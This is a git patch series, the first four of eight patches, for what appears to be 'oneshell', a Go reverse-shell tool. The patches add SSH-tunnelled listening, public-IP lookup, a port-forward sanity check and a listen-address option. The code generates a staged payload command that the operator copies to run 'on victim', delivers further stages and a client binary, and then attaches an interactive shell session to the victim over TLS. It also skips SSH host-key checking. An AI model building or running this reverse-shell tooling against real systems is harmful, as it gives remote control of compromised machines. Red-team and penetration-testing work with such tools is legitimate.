From de077f6813e8eca8670a618a852cd791910b80cc Mon Sep 17 00:00:00 2001
From: Daniel Cooper <daniel.cooper@tantosec.com>
Date: Tue, 16 Jul 2024 15:08:31 +1000
Subject: [PATCH 1/8] Identifying public IP of ssh server

---
 cmd/root.go  |  25 ++++++++--
 go.mod       |   3 +-
 go.sum       |   4 ++
 pkg/getip.go |  58 ++++++------------------
 pkg/ssh.go   | 126 +++++++++++++++++++++++++++++++++++++++++++++++++++
 5 files changed, 168 insertions(+), 48 deletions(-)
 create mode 100644 pkg/ssh.go

diff --git a/cmd/root.go b/cmd/root.go
index cd80abf..baedb0d 100644
--- a/cmd/root.go
+++ b/cmd/root.go
@@ -2,10 +2,12 @@ package cmd
 
 import (
 	"log"
+	"net"
 	"os"
 
 	"github.com/spf13/cobra"
 	"github.com/tantosec/oneshell/pkg"
+	"golang.org/x/crypto/ssh"
 )
 
 var rootCmd = &cobra.Command{
@@ -21,17 +23,31 @@ additional code allowing the program to download a Golang binary containing the
 			log.Fatal(err)
 		}
 
+		sshHost, err := cmd.Flags().GetString("ssh")
+		if err != nil {
+			log.Fatal(err)
+		}
+
 		target, err := cmd.Flags().GetString("target")
 		if err != nil {
 			log.Fatal(err)
 		}
 
+		var sshConn *ssh.Client = nil
+
+		dialer := net.Dial
+
+		if sshHost != "" {
+			sshConn = pkg.ConnectToSSHHost(sshHost)
+			dialer = sshConn.Dial
+		}
+
 		if target == "" {
-			target, err = pkg.GetMyIP()
+			target, err = pkg.GetIPUsingDialer(dialer)
 			if err != nil {
-				log.Fatalf("failed to automatically detect public ip: %v", err)
+				log.Fatalf("failed to automatically detect IP: %v", err)
 			}
-			log.Println("Target unspecified, using public IP")
+			log.Println("Target unspecified, using public IP:", target)
 		}
 
 		err = pkg.Listen(target, port)
@@ -50,5 +66,6 @@ func Execute() {
 
 func init() {
 	rootCmd.Flags().StringP("target", "t", "", "Target IP/hostname for the victim to connect to (this machine). If left blank, will try and identify public IP automatically")
-	rootCmd.Flags().Uint16P("port", "p", 443, "Port to listen on")
+	rootCmd.Flags().Uint16P("port", "p", 9001, "Port to listen on")
+	rootCmd.Flags().StringP("ssh", "s", "", "Name of SSH config file entry. If specified will listen on <port> on the remote machine instead of the local port")
 }
diff --git a/go.mod b/go.mod
index f517c54..4b7a252 100644
--- a/go.mod
+++ b/go.mod
@@ -3,12 +3,13 @@ module github.com/tantosec/oneshell
 go 1.22.2
 
 require (
-	github.com/pion/stun v0.6.1
 	github.com/spf13/cobra v1.8.1
 )
 
 require (
 	github.com/inconshreveable/mousetrap v1.1.0 // indirect
+	github.com/kevinburke/ssh_config v1.2.0 // indirect
+	github.com/mitchellh/go-homedir v1.1.0 // indirect
 	github.com/pion/dtls/v2 v2.2.7 // indirect
 	github.com/pion/logging v0.2.2 // indirect
 	github.com/pion/transport/v2 v2.2.1 // indirect
diff --git a/go.sum b/go.sum
index e344469..693429d 100644
--- a/go.sum
+++ b/go.sum
@@ -4,6 +4,10 @@ github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c
 github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
 github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
 github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/kevinburke/ssh_config v1.2.0 h1:x584FjTGwHzMwvHx18PXxbBVzfnxogHaAReU4gf13a4=
+github.com/kevinburke/ssh_config v1.2.0/go.mod h1:CT57kijsi8u/K/BOFA39wgDQJ9CxiF4nAY/ojJ6r6mM=
+github.com/mitchellh/go-homedir v1.1.0 h1:lukF9ziXFxDFPkA1vsr5zpc1XuPDn/wFntq5mG+4E0Y=
+github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
 github.com/pion/dtls/v2 v2.2.7 h1:cSUBsETxepsCSFSxC3mc/aDo14qQLMSL+O6IjG28yV8=
 github.com/pion/dtls/v2 v2.2.7/go.mod h1:8WiMkebSHFD0T+dIU+UeBaoV7kDhOW5oDCzZ7WZ/F9s=
 github.com/pion/logging v0.2.2 h1:M9+AIj/+pxNsDfAT64+MAVgJO0rsyLnoJKCqf//DoeY=
diff --git a/pkg/getip.go b/pkg/getip.go
index dc3c052..5338a29 100644
--- a/pkg/getip.go
+++ b/pkg/getip.go
@@ -1,56 +1,28 @@
 package pkg
 
 import (
-	"github.com/pion/stun"
+	"fmt"
+	"io"
+	"net"
+	"net/http"
 )
 
-// Based off https://github.com/Snawoot/extip/blob/master/extip.go
-func QueryStunServerForIp(server string) (string, error) {
-	family := "udp4"
-	c, err := stun.Dial(family, server)
-	if err != nil {
-		return "", err
+func GetIPUsingDialer(dial func(network, addr string) (net.Conn, error)) (string, error) {
+	client := http.Client{
+		Transport: &http.Transport{
+			Dial: dial,
+		},
 	}
-	defer c.Close()
 
-	message, err := stun.Build(stun.TransactionID, stun.BindingRequest)
+	resp, err := client.Get("http://ifconfig.me/")
 	if err != nil {
-		return "", err
+		return "", fmt.Errorf("failed to perform HTTP request: %v", err)
 	}
 
-	clientOut := make(chan stun.Event)
-	clientErr := make(chan error)
-
-	go func() {
-		err := c.Do(message, func(res stun.Event) {
-			clientOut <- res
-		})
-		if err != nil {
-			clientErr <- err
-		}
-	}()
-
-	select {
-	case err := <-clientErr:
-		return "", err
-	case res := <-clientOut:
-		if res.Error != nil {
-			return "", res.Error
-		}
-		var xorAddr stun.XORMappedAddress
-		if err := xorAddr.GetFrom(res.Message); err == nil {
-			return xorAddr.IP.String(), nil
-		} else {
-			var mappedAddr stun.MappedAddress
-			if err := mappedAddr.GetFrom(res.Message); err == nil {
-				return mappedAddr.IP.String(), nil
-			} else {
-				return "", err
-			}
-		}
+	body, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return "", fmt.Errorf("failed to read response body: %v", err)
 	}
-}
 
-func GetMyIP() (string, error) {
-	return QueryStunServerForIp("stun.l.google.com:19302")
+	return string(body), nil
 }
diff --git a/pkg/ssh.go b/pkg/ssh.go
new file mode 100644
index 0000000..a628152
--- /dev/null
+++ b/pkg/ssh.go
@@ -0,0 +1,126 @@
+package pkg
+
+import (
+	"log"
+	"os"
+	"path/filepath"
+
+	"github.com/kevinburke/ssh_config"
+	"github.com/mitchellh/go-homedir"
+	"golang.org/x/crypto/ssh"
+)
+
+var knownIdentityFiles []string = []string{"id_rsa", "id_ecdsa", "id_ecdsa_sk", "id_ed25519", "id_ed25519_sk", "id_dsa"}
+
+func ConnectToSSHHost(host string) *ssh.Client {
+	homeDir, err := homedir.Dir()
+	if err != nil {
+		log.Fatalf("failed to get user home directory: %v", err)
+	}
+
+	sshConfigPath := filepath.Join(homeDir, ".ssh", "config")
+	configFile, err := os.Open(sshConfigPath)
+	if err != nil {
+		log.Fatalf("failed to open .ssh/config file: %v", err)
+	}
+	defer configFile.Close()
+
+	config, err := ssh_config.Decode(configFile)
+	if err != nil {
+		log.Fatalf("failed to decode .ssh/config file: %v", err)
+	}
+
+	found := false
+	for _, currHost := range config.Hosts {
+		if currHost.Matches(host) {
+			found = true
+		}
+	}
+	if !found {
+		log.Fatalf("could not find ssh config entry '%v'", host)
+	}
+
+	user, err := config.Get(host, "User")
+	if err != nil {
+		log.Fatalf("failed to retrieve user value from config file: %v", err)
+	}
+
+	if user == "" {
+		user := os.Getenv("USER")
+		if user == "" {
+			log.Fatalf("failed to get user for ssh connection: %v", err)
+		}
+
+		log.Printf("User not specified in ssh config, using %v\n", user)
+	}
+
+	hostname, err := config.Get(host, "HostName")
+	if err != nil {
+		log.Fatalf("error occurred when retrieving HostName from ssh config: %v", err)
+	}
+	if hostname == "" {
+		hostname = host
+
+		log.Printf("Hostname not specified in ssh config, using %v\n", hostname)
+	}
+
+	port, err := config.Get(host, "Port")
+	if err != nil {
+		log.Fatalf("error occurred when retrieving Port from ssh config: %v", err)
+	}
+	if port == "" {
+		port = "22"
+
+		log.Printf("Port not specified in ssh config, using %v\n", port)
+	}
+
+	identityFile, err := config.Get(host, "IdentityFile")
+	if err != nil {
+		log.Fatalf("error occurred when retrieving IdentityFile from ssh config: %v", err)
+	}
+	if identityFile == "" {
+		for _, kif := range knownIdentityFiles {
+			kifPath := filepath.Join(homeDir, ".ssh", kif)
+			if _, err := os.Stat(kifPath); err == nil {
+				identityFile = kifPath
+				break
+			}
+		}
+
+		if identityFile == "" {
+			log.Fatalf("could not find identity file for ssh host %v", host)
+		} else {
+			log.Printf("IdentityFile not specified in ssh config, using %v\n", identityFile)
+		}
+	} else {
+		identityFile, err = homedir.Expand(identityFile)
+		if err != nil {
+			log.Fatalf("failed to parse pathname for identityFile: %v", err)
+		}
+	}
+
+	privKey, err := os.ReadFile(identityFile)
+	if err != nil {
+		log.Fatalf("failed to read private key: %v", err)
+	}
+
+	signer, err := ssh.ParsePrivateKey(privKey)
+	if err != nil {
+		log.Fatalf("failed to parse private key: %v", err)
+	}
+
+	sshConfig := &ssh.ClientConfig{
+		User: user,
+		Auth: []ssh.AuthMethod{
+			ssh.PublicKeys(signer),
+		},
+		HostKeyCallback: ssh.InsecureIgnoreHostKey(),
+	}
+
+	client, err := ssh.Dial("tcp", hostname+":"+port, sshConfig)
+	if err != nil {
+		log.Fatalf("failed to connect to SSH server: %v", err)
+	}
+
+	return client
+}

From b184ac5a42f6112cfed899de9837ec9ea9e80e5a Mon Sep 17 00:00:00 2001
From: Daniel Cooper <daniel.cooper@tantosec.com>
Date: Tue, 30 Jul 2024 15:24:22 +1000
Subject: [PATCH 2/8] Listening on remote ssh

---
 cmd/root.go   |  16 ++++++-
 pkg/listen.go | 116 ++++++++++++++++++++++++++++++--------------------
 pkg/ssh.go    |  33 +++++++-------
 3 files changed, 101 insertions(+), 64 deletions(-)

diff --git a/cmd/root.go b/cmd/root.go
index baedb0d..42b9181 100644
--- a/cmd/root.go
+++ b/cmd/root.go
@@ -38,7 +38,10 @@ additional code allowing the program to download a Golang binary containing the
 		dialer := net.Dial
 
 		if sshHost != "" {
-			sshConn = pkg.ConnectToSSHHost(sshHost)
+			sshConn, err = pkg.ConnectToSSHHost(sshHost)
+			if err != nil {
+				log.Fatal(err)
+			}
 			dialer = sshConn.Dial
 		}
 
@@ -50,7 +53,16 @@ additional code allowing the program to download a Golang binary containing the
 			log.Println("Target unspecified, using public IP:", target)
 		}
 
-		err = pkg.Listen(target, port)
+		listener := pkg.Listener{
+			Listen: net.Listen,
+			Port:   port,
+		}
+
+		if sshConn != nil {
+			listener.Listen = sshConn.Listen
+		}
+
+		err = pkg.Listen(listener, target)
 		if err != nil {
 			log.Fatalf("error occurred when listening: %v", err)
 		}
diff --git a/pkg/listen.go b/pkg/listen.go
index fd84bdd..701e59f 100644
--- a/pkg/listen.go
+++ b/pkg/listen.go
@@ -14,6 +14,11 @@ import (
 	"github.com/tantosec/oneshell/pkg/patching"
 )
 
+type Listener struct {
+	Listen func(n string, addr string) (net.Listener, error)
+	Port   uint16
+}
+
 func resolveIP(target string) (net.IP, error) {
 	targetIPs, err := net.LookupIP(target)
 	if err != nil {
@@ -29,7 +34,7 @@ func resolveIP(target string) (net.IP, error) {
 	return nil, fmt.Errorf("could not resolve hostname %v to ip", target)
 }
 
-func Listen(target string, port uint16) error {
+func Listen(listener Listener, target string) error {
 	targetIP, err := resolveIP(target)
 	if err != nil {
 		return fmt.Errorf("failed to resolve hostname %v", target)
@@ -51,42 +56,83 @@ func Listen(target string, port uint16) error {
 		return err
 	}
 
-	clientPatched, err := patching.PatchAndEncryptClient(targetIP, port, serverCert, clientCert, clientKey, secretKey)
+	clientPatched, err := patching.PatchAndEncryptClient(targetIP, listener.Port, serverCert, clientCert, clientKey, secretKey)
 	if err != nil {
 		return err
 	}
-	stage2Patched := patching.PatchStage2(targetIP, port)
-	stage1Patched, err := patching.PatchStage1(targetIP, port, stage2Patched, secretKey)
+	stage2Patched := patching.PatchStage2(targetIP, listener.Port)
+	stage1Patched, err := patching.PatchStage1(targetIP, listener.Port, stage2Patched, secretKey)
 	if err != nil {
 		return err
 	}
 
-	fmt.Printf("Payload connects to %v:%v", targetIP, port)
+	fmt.Printf("Payload connects to %v:%v", targetIP, listener.Port)
 	fmt.Println()
 	fmt.Println("Copy the following command and run on victim:")
 	fmt.Println()
 	fmt.Println(RunEchoifiedBinary(stage1Patched))
 	fmt.Println()
 
-	if err := sendStages(port, stage2Patched, clientPatched); err != nil {
+	if err := sendStages(listener, stage2Patched, clientPatched); err != nil {
 		return err
 	}
 
 	log.Println("Client should have started. Awaiting second connection...")
 
-	return receiveClient(port, serverCert, serverKey, clientCert)
+	return receiveClient(listener, serverCert, serverKey, clientCert)
 }
 
-func acceptTcp(port uint16) (net.Conn, error) {
-	listener, err := net.Listen("tcp", fmt.Sprintf(":%v", port))
+func listenTcp(listener Listener) (net.Listener, error) {
+	l, err := listener.Listen("tcp", fmt.Sprintf("0.0.0.0:%v", listener.Port))
 	if err != nil {
-		return nil, fmt.Errorf("listen: failed to listen on port %v: %v", port, err)
+		return nil, fmt.Errorf("listen: failed to listen on port %v: %v", listener.Port, err)
+	}
+
+	log.Printf("Listening for connections on 0.0.0.0:%v\n", listener.Port)
+
+	return l, nil
+}
+
+func acceptTcp(listener Listener) (net.Conn, error) {
+	l, err := listenTcp(listener)
+	if err != nil {
+		return nil, err
+	}
+	defer l.Close()
+
+	conn, err := l.Accept()
+	if err != nil {
+		return nil, fmt.Errorf("listen: failed to receive connection: %v", err)
+	}
+
+	log.Printf("Connection accepted from %v\n", conn.RemoteAddr())
+
+	return conn, nil
+}
+
+func acceptTls(listener Listener, serverCert []byte, serverKey []byte, clientCert []byte) (net.Conn, error) {
+	cert, err := tls.X509KeyPair(serverCert, serverKey)
+	if err != nil {
+		return nil, fmt.Errorf("failed to load server key pair: %v", err)
+	}
+
+	caCertPool := x509.NewCertPool()
+	caCertPool.AppendCertsFromPEM(clientCert)
+
+	tlsConfig := &tls.Config{
+		Certificates: []tls.Certificate{cert},
+		ClientAuth:   tls.RequireAndVerifyClientCert,
+		ClientCAs:    caCertPool,
 	}
 
-	log.Printf("Listening for connections on 0.0.0.0:%v\n", port)
-	defer listener.Close()
+	tcpListener, err := listenTcp(listener)
+	if err != nil {
+		return nil, fmt.Errorf("listen: failed to listen on port %v: %v", listener.Port, err)
+	}
+	l := tls.NewListener(tcpListener, tlsConfig)
+	defer l.Close()
 
-	conn, err := listener.Accept()
+	conn, err := l.Accept()
 	if err != nil {
 		return nil, fmt.Errorf("listen: failed to receive connection: %v", err)
 	}
@@ -96,15 +142,15 @@ func acceptTcp(port uint16) (net.Conn, error) {
 	return conn, nil
 }
 
-func sendStages(port uint16, stage2Patched []byte, clientPatched []byte) error {
-	if err := stage1To2(port, stage2Patched); err != nil {
+func sendStages(listener Listener, stage2Patched []byte, clientPatched []byte) error {
+	if err := stage1To2(listener, stage2Patched); err != nil {
 		return err
 	}
-	return stage2ToClient(port, clientPatched)
+	return stage2ToClient(listener, clientPatched)
 }
 
-func stage1To2(port uint16, stage2Data []byte) error {
-	conn, err := acceptTcp(port)
+func stage1To2(listener Listener, stage2Data []byte) error {
+	conn, err := acceptTcp(listener)
 	if err != nil {
 		return err
 	}
@@ -116,8 +162,8 @@ func stage1To2(port uint16, stage2Data []byte) error {
 	return err
 }
 
-func stage2ToClient(port uint16, clientData []byte) error {
-	conn, err := acceptTcp(port)
+func stage2ToClient(listener Listener, clientData []byte) error {
+	conn, err := acceptTcp(listener)
 	if err != nil {
 		return err
 	}
@@ -129,41 +175,19 @@ func stage2ToClient(port uint16, clientData []byte) error {
 	return err
 }
 
-func receiveClient(port uint16, serverCert []byte, serverKey []byte, clientCert []byte) error {
-	cert, err := tls.X509KeyPair(serverCert, serverKey)
-	if err != nil {
-		return fmt.Errorf("failed to load server key pair: %v", err)
-	}
-
-	caCertPool := x509.NewCertPool()
-	caCertPool.AppendCertsFromPEM(clientCert)
-
-	tlsConfig := &tls.Config{
-		Certificates: []tls.Certificate{cert},
-		ClientAuth:   tls.RequireAndVerifyClientCert,
-		ClientCAs:    caCertPool,
-	}
-
-	listener, err := tls.Listen("tcp", fmt.Sprintf(":%v", port), tlsConfig)
-	if err != nil {
-		return fmt.Errorf("listen: failed to listen on port %v: %v", port, err)
-	}
-	defer listener.Close()
-
-	clientConn, err := listener.Accept()
+func receiveClient(listener Listener, serverCert []byte, serverKey []byte, clientCert []byte) error {
+	conn, err := acceptTls(listener, serverCert, serverKey, clientCert)
 	if err != nil {
 		return err
 	}
 
-	log.Printf("Second connection received from %v\n", clientConn.RemoteAddr())
-
 	fmt.Println()
 	fmt.Println("=== BEGIN SHELL SESSION ===")
 	fmt.Println()
 
-	go io.Copy(clientConn, os.Stdout)
+	go io.Copy(conn, os.Stdout)
 
-	_, err = io.Copy(os.Stdin, clientConn)
+	_, err = io.Copy(os.Stdin, conn)
 
 	return err
 }
diff --git a/pkg/ssh.go b/pkg/ssh.go
index a628152..e7c0381 100644
--- a/pkg/ssh.go
+++ b/pkg/ssh.go
@@ -1,6 +1,7 @@
 package pkg
 
 import (
+	"fmt"
 	"log"
 	"os"
 	"path/filepath"
@@ -12,22 +13,22 @@ import (
 
 var knownIdentityFiles []string = []string{"id_rsa", "id_ecdsa", "id_ecdsa_sk", "id_ed25519", "id_ed25519_sk", "id_dsa"}
 
-func ConnectToSSHHost(host string) *ssh.Client {
+func ConnectToSSHHost(host string) (*ssh.Client, error) {
 	homeDir, err := homedir.Dir()
 	if err != nil {
-		log.Fatalf("failed to get user home directory: %v", err)
+		return nil, fmt.Errorf("failed to get user home directory: %v", err)
 	}
 
 	sshConfigPath := filepath.Join(homeDir, ".ssh", "config")
 	configFile, err := os.Open(sshConfigPath)
 	if err != nil {
-		log.Fatalf("failed to open .ssh/config file: %v", err)
+		return nil, fmt.Errorf("failed to open .ssh/config file: %v", err)
 	}
 	defer configFile.Close()
 
 	config, err := ssh_config.Decode(configFile)
 	if err != nil {
-		log.Fatalf("failed to decode .ssh/config file: %v", err)
+		return nil, fmt.Errorf("failed to decode .ssh/config file: %v", err)
 	}
 
 	found := false
@@ -37,18 +38,18 @@ func ConnectToSSHHost(host string) *ssh.Client {
 		}
 	}
 	if !found {
-		log.Fatalf("could not find ssh config entry '%v'", host)
+		return nil, fmt.Errorf("could not find ssh config entry '%v'", host)
 	}
 
 	user, err := config.Get(host, "User")
 	if err != nil {
-		log.Fatalf("failed to retrieve user value from config file: %v", err)
+		return nil, fmt.Errorf("failed to retrieve user value from config file: %v", err)
 	}
 
 	if user == "" {
 		user := os.Getenv("USER")
 		if user == "" {
-			log.Fatalf("failed to get user for ssh connection: %v", err)
+			return nil, fmt.Errorf("failed to get user for ssh connection: %v", err)
 		}
 
 		log.Printf("User not specified in ssh config, using %v\n", user)
@@ -56,7 +57,7 @@ func ConnectToSSHHost(host string) *ssh.Client {
 
 	hostname, err := config.Get(host, "HostName")
 	if err != nil {
-		log.Fatalf("error occurred when retrieving HostName from ssh config: %v", err)
+		return nil, fmt.Errorf("error occurred when retrieving HostName from ssh config: %v", err)
 	}
 	if hostname == "" {
 		hostname = host
@@ -66,7 +67,7 @@ func ConnectToSSHHost(host string) *ssh.Client {
 
 	port, err := config.Get(host, "Port")
 	if err != nil {
-		log.Fatalf("error occurred when retrieving Port from ssh config: %v", err)
+		return nil, fmt.Errorf("error occurred when retrieving Port from ssh config: %v", err)
 	}
 	if port == "" {
 		port = "22"
@@ -76,7 +77,7 @@ func ConnectToSSHHost(host string) *ssh.Client {
 
 	identityFile, err := config.Get(host, "IdentityFile")
 	if err != nil {
-		log.Fatalf("error occurred when retrieving IdentityFile from ssh config: %v", err)
+		return nil, fmt.Errorf("error occurred when retrieving IdentityFile from ssh config: %v", err)
 	}
 	if identityFile == "" {
 		for _, kif := range knownIdentityFiles {
@@ -88,25 +89,25 @@ func ConnectToSSHHost(host string) *ssh.Client {
 		}
 
 		if identityFile == "" {
-			log.Fatalf("could not find identity file for ssh host %v", host)
+			return nil, fmt.Errorf("could not find identity file for ssh host %v", host)
 		} else {
 			log.Printf("IdentityFile not specified in ssh config, using %v\n", identityFile)
 		}
 	} else {
 		identityFile, err = homedir.Expand(identityFile)
 		if err != nil {
-			log.Fatalf("failed to parse pathname for identityFile: %v", err)
+			return nil, fmt.Errorf("failed to parse pathname for identityFile: %v", err)
 		}
 	}
 
 	privKey, err := os.ReadFile(identityFile)
 	if err != nil {
-		log.Fatalf("failed to read private key: %v", err)
+		return nil, fmt.Errorf("failed to read private key: %v", err)
 	}
 
 	signer, err := ssh.ParsePrivateKey(privKey)
 	if err != nil {
-		log.Fatalf("failed to parse private key: %v", err)
+		return nil, fmt.Errorf("failed to parse private key: %v", err)
 	}
 
 	sshConfig := &ssh.ClientConfig{
@@ -119,8 +120,8 @@ func ConnectToSSHHost(host string) *ssh.Client {
 
 	client, err := ssh.Dial("tcp", hostname+":"+port, sshConfig)
 	if err != nil {
-		log.Fatalf("failed to connect to SSH server: %v", err)
+		return nil, fmt.Errorf("failed to connect to SSH server: %v", err)
 	}
 
-	return client
+	return client, nil
 }

From 80934e7e0a380337b92bb4b23710b82c9d324e0c Mon Sep 17 00:00:00 2001
From: Daniel Cooper <daniel.cooper@tantosec.com>
Date: Tue, 30 Jul 2024 16:00:55 +1000
Subject: [PATCH 3/8] Added sanity check

---
 cmd/root.go   |  8 +++++++-
 pkg/listen.go |  4 ++--
 pkg/ssh.go    | 49 ++++++++++++++++++++++++++++++++++++++++++++++++-
 3 files changed, 57 insertions(+), 4 deletions(-)

diff --git a/cmd/root.go b/cmd/root.go
index 42b9181..5a6ed30 100644
--- a/cmd/root.go
+++ b/cmd/root.go
@@ -33,12 +33,17 @@ additional code allowing the program to download a Golang binary containing the
 			log.Fatal(err)
 		}
 
+		bypassSanityCheck, err := cmd.Flags().GetBool("bypass-ssh-sanity-check")
+		if err != nil {
+			log.Fatal(err)
+		}
+
 		var sshConn *ssh.Client = nil
 
 		dialer := net.Dial
 
 		if sshHost != "" {
-			sshConn, err = pkg.ConnectToSSHHost(sshHost)
+			sshConn, err = pkg.ConnectToSSHHost(sshHost, port, bypassSanityCheck)
 			if err != nil {
 				log.Fatal(err)
 			}
@@ -80,4 +85,5 @@ func init() {
 	rootCmd.Flags().StringP("target", "t", "", "Target IP/hostname for the victim to connect to (this machine). If left blank, will try and identify public IP automatically")
 	rootCmd.Flags().Uint16P("port", "p", 9001, "Port to listen on")
 	rootCmd.Flags().StringP("ssh", "s", "", "Name of SSH config file entry. If specified will listen on <port> on the remote machine instead of the local port")
+	rootCmd.Flags().Bool("bypass-ssh-sanity-check", false, "Bypass the test connection to the SSH machine to check if the SSH port forward works")
 }
diff --git a/pkg/listen.go b/pkg/listen.go
index 701e59f..63a68e6 100644
--- a/pkg/listen.go
+++ b/pkg/listen.go
@@ -83,12 +83,12 @@ func Listen(listener Listener, target string) error {
 }
 
 func listenTcp(listener Listener) (net.Listener, error) {
-	l, err := listener.Listen("tcp", fmt.Sprintf("0.0.0.0:%v", listener.Port))
+	l, err := listener.Listen("tcp", fmt.Sprintf(":%v", listener.Port))
 	if err != nil {
 		return nil, fmt.Errorf("listen: failed to listen on port %v: %v", listener.Port, err)
 	}
 
-	log.Printf("Listening for connections on 0.0.0.0:%v\n", listener.Port)
+	log.Printf("Listening for connections on :%v\n", listener.Port)
 
 	return l, nil
 }
diff --git a/pkg/ssh.go b/pkg/ssh.go
index e7c0381..48b5dfe 100644
--- a/pkg/ssh.go
+++ b/pkg/ssh.go
@@ -3,6 +3,7 @@ package pkg
 import (
 	"fmt"
 	"log"
+	"net"
 	"os"
 	"path/filepath"
 
@@ -13,7 +14,7 @@ import (
 
 var knownIdentityFiles []string = []string{"id_rsa", "id_ecdsa", "id_ecdsa_sk", "id_ed25519", "id_ed25519_sk", "id_dsa"}
 
-func ConnectToSSHHost(host string) (*ssh.Client, error) {
+func ConnectToSSHHost(host string, testPort uint16, bypassSanityCheck bool) (*ssh.Client, error) {
 	homeDir, err := homedir.Dir()
 	if err != nil {
 		return nil, fmt.Errorf("failed to get user home directory: %v", err)
@@ -123,5 +124,51 @@ func ConnectToSSHHost(host string) (*ssh.Client, error) {
 		return nil, fmt.Errorf("failed to connect to SSH server: %v", err)
 	}
 
+	if !bypassSanityCheck {
+		err = testListenAllInterfaces(client, hostname, testPort)
+		if err != nil {
+			return nil, err
+		}
+	}
+
 	return client, nil
 }
+
+func testListenAllInterfaces(client *ssh.Client, hostname string, testPort uint16) error {
+	log.Println("Testing connection to SSH server to ensure SSH port forward works...")
+
+	l, err := client.Listen("tcp", fmt.Sprintf(":%v", testPort))
+	if err != nil {
+		return fmt.Errorf("failed to start test listener: %v", err)
+	}
+
+	defer l.Close()
+
+	go func() {
+		c, err := l.Accept()
+		if err == nil {
+			c.Close()
+		}
+	}()
+
+	c, err := net.Dial("tcp", fmt.Sprintf("%v:%v", hostname, testPort))
+	if err != nil {
+		fmt.Println()
+		fmt.Println("During a test connection to the SSH instance, it was found that the desired port was unreachable. The most likely fix for this is adding the following line to /etc/ssh/sshd_config:")
+		fmt.Println()
+		fmt.Println("GatewayPorts clientspecified")
+		fmt.Println()
+		fmt.Println("This allows oneshell to listen on public interfaces on the remote machine.")
+		fmt.Println("If you know what you're doing and want to continue anyway, bypass this sanity check with --bypass-ssh-sanity-check")
+		fmt.Println()
+
+		return fmt.Errorf("failed to connect to ssh server: %v", err)
+	}
+
+	err = c.Close()
+	if err != nil {
+		return fmt.Errorf("error closing temporary connection: %v", err)
+	}
+
+	return nil
+}

From 0d031fc8feb89a028f0d8e69700704f0eeb1cabb Mon Sep 17 00:00:00 2001
From: Daniel Cooper <daniel.cooper@tantosec.com>
Date: Tue, 30 Jul 2024 16:35:43 +1000
Subject: [PATCH 4/8] Allow specifying listen address

---
 cmd/root.go   | 15 +++++++++++----
 pkg/listen.go |  7 ++++---
 pkg/ssh.go    |  8 ++++----
 3 files changed, 19 insertions(+), 11 deletions(-)

diff --git a/cmd/root.go b/cmd/root.go
index 5a6ed30..bb55089 100644
--- a/cmd/root.go
+++ b/cmd/root.go
@@ -38,12 +38,17 @@ additional code allowing the program to download a Golang binary containing the
 			log.Fatal(err)
 		}
 
+		listenAddress, err := cmd.Flags().GetString("listen-address")
+		if err != nil {
+			log.Fatal(err)
+		}
+
 		var sshConn *ssh.Client = nil
 
 		dialer := net.Dial
 
 		if sshHost != "" {
-			sshConn, err = pkg.ConnectToSSHHost(sshHost, port, bypassSanityCheck)
+			sshConn, err = pkg.ConnectToSSHHost(sshHost, listenAddress, port, bypassSanityCheck)
 			if err != nil {
 				log.Fatal(err)
 			}
@@ -59,8 +64,9 @@ additional code allowing the program to download a Golang binary containing the
 		}
 
 		listener := pkg.Listener{
-			Listen: net.Listen,
-			Port:   port,
+			Listen:  net.Listen,
+			Address: listenAddress,
+			Port:    port,
 		}
 
 		if sshConn != nil {
@@ -82,7 +88,8 @@ func Execute() {
 }
 
 func init() {
-	rootCmd.Flags().StringP("target", "t", "", "Target IP/hostname for the victim to connect to (this machine). If left blank, will try and identify public IP automatically")
+	rootCmd.Flags().StringP("target", "t", "", "Target IP/hostname for the victim to connect back to. If left blank, will try and identify automatically. Usually the public IP of the listening machine.")
+	rootCmd.Flags().StringP("listen-address", "l", "0.0.0.0", "IP address to listen on")
 	rootCmd.Flags().Uint16P("port", "p", 9001, "Port to listen on")
 	rootCmd.Flags().StringP("ssh", "s", "", "Name of SSH config file entry. If specified will listen on <port> on the remote machine instead of the local port")
 	rootCmd.Flags().Bool("bypass-ssh-sanity-check", false, "Bypass the test connection to the SSH machine to check if the SSH port forward works")
diff --git a/pkg/listen.go b/pkg/listen.go
index 63a68e6..e1a821d 100644
--- a/pkg/listen.go
+++ b/pkg/listen.go
@@ -15,8 +15,9 @@ import (
 )
 
 type Listener struct {
-	Listen func(n string, addr string) (net.Listener, error)
-	Port   uint16
+	Listen  func(n string, addr string) (net.Listener, error)
+	Address string
+	Port    uint16
 }
 
 func resolveIP(target string) (net.IP, error) {
@@ -83,7 +84,7 @@ func Listen(listener Listener, target string) error {
 }
 
 func listenTcp(listener Listener) (net.Listener, error) {
-	l, err := listener.Listen("tcp", fmt.Sprintf(":%v", listener.Port))
+	l, err := listener.Listen("tcp", fmt.Sprintf("%v:%v", listener.Address, listener.Port))
 	if err != nil {
 		return nil, fmt.Errorf("listen: failed to listen on port %v: %v", listener.Port, err)
 	}
diff --git a/pkg/ssh.go b/pkg/ssh.go
index 48b5dfe..53f4ec7 100644
--- a/pkg/ssh.go
+++ b/pkg/ssh.go
@@ -14,7 +14,7 @@ import (
 
 var knownIdentityFiles []string = []string{"id_rsa", "id_ecdsa", "id_ecdsa_sk", "id_ed25519", "id_ed25519_sk", "id_dsa"}
 
-func ConnectToSSHHost(host string, testPort uint16, bypassSanityCheck bool) (*ssh.Client, error) {
+func ConnectToSSHHost(host string, listenAddress string, testPort uint16, bypassSanityCheck bool) (*ssh.Client, error) {
 	homeDir, err := homedir.Dir()
 	if err != nil {
 		return nil, fmt.Errorf("failed to get user home directory: %v", err)
@@ -125,7 +125,7 @@ func ConnectToSSHHost(host string, testPort uint16, bypassSanityCheck bool) (*ss
 	}
 
 	if !bypassSanityCheck {
-		err = testListenAllInterfaces(client, hostname, testPort)
+		err = testListenAllInterfaces(client, hostname, listenAddress, testPort)
 		if err != nil {
 			return nil, err
 		}
